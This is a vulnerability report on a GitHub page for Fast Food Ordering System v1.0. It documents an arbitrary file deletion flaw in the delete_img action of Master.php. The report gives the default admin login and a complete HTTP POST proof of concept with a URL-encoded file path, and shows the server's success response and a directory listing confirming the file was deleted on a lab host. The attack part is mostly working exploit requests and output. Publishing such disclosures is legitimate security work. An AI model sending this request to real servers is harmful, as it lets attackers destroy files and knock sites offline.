<> Code   ⊙ Issues   ⇄ Pull requests   ▶ Actions   ⊞ Projects   ⊘ Security   ⬚ Insights

⌥ main ▾   ...

bug_report / vendors / oretnom23 / fast-food-ordering-system / **delet-file-1.md**

debug601 Create delet-file-1.md   ⟲ History

⚇ **1 contributor**

46 lines (30 sloc) | 1.76 KB   ...

Fast Food Ordering System v1.0 by oretnom23 has Delete any file

vendors: https://www.sourcecodester.com/php/15366/fast-food-ordering-system-phpoop-free-source-code.html

Vulnerability File: /ffos/classes/Master.php?f=delete_img

Vulnerability location: /ffos/classes/Master.php?f=delete_img, path

The password for the backend login account is: admin/admin123

Payload:

Here we delete the shell.php file in the root directory

```
POST /ffos/classes/Master.php?f=delete_img HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.1.19/ffos/admin/?page=system_info
```

```
Cookie: PHPSESSID=rlr2a917ahfp4mc52mm9a7kvvm
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 45

path=C%3A%2Fxampp%2Fhtdocs%2Fffos%2Fshell.php
```

◀   ▶

The file path needs to be encoded by url

C%3A%2Fxampp%2Fhtdocs%2Fffos%2Fshell.php

| UrlEncode编码 | UrlDecode解码 | 清空输入框 | 复制加密后的网址 |

C:/xampp/htdocs/ffos/shell.php

Currently, when we do not send a request to delete the shell.php file, the shell.php file is still in the root directory of the website

The response package shows that the deletion was successful. Let's go to the root directory to see if the shell.php file still exists.


```
POST
/ffos/classes/Master.php?f=delete_img
HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT
10.0; WOW64; rv:46.0) Gecko/20100101
Firefox/46.0
Accept:
text/html,application/xhtml+xml,applica
tion/xml;q=0.9,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer:
http://192.168.1.19/ffos/admin/?page=sy
stem_info
Cookie:
PHPSESSID=r1r2a917ahfp4mc52mm9a7kvvm
Connection: close
Content-Type:
application/x-www-form-urlencoded
Content-Length: 45

path=C%3A%2Fxampp%2Fhtdocs%2Fffos%2Fshe
ll.php
```

```
HTTP/1.1 200 OK
Date: Wed, 01 Jun 2022 07:38:25 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 20
Connection: close
Content-Type: text/html; charset=UTF-8

{"status":"success"}
```

By this time, shell.php has been deleted.

共享 ▼ | 新建文件夹

名称 ▲	修改日期	类型	大小
📁 admin	2022/6/1 14:14	文件夹	
📁 assets	2022/6/1 14:14	文件夹	
📁 build	2022/6/1 14:14	文件夹	
📁 classes	2022/6/1 14:14	文件夹	
📁 database	2022/6/1 14:14	文件夹	
📁 dist	2022/6/1 14:14	文件夹	
📁 inc	2022/6/1 14:14	文件夹	
📁 libs	2022/6/1 14:14	文件夹	
📁 plugins	2022/6/1 14:14	文件夹	
📁 uploads	2022/6/1 14:14	文件夹	
.htaccess	2021/3/19 13:17	HTACCESS 文件	1 KB
_index.html	2021/6/21 13:16	HTML 文档	16 KB
404.html	2021/3/19 13:17	HTML 文档	1 KB
config.php	2022/5/28 10:19	PHP 文件	2 KB
index.php	2022/5/28 13:16	PHP 文件	1 KB
initialize.php	2022/6/1 14:15	PHP 文件	1 KB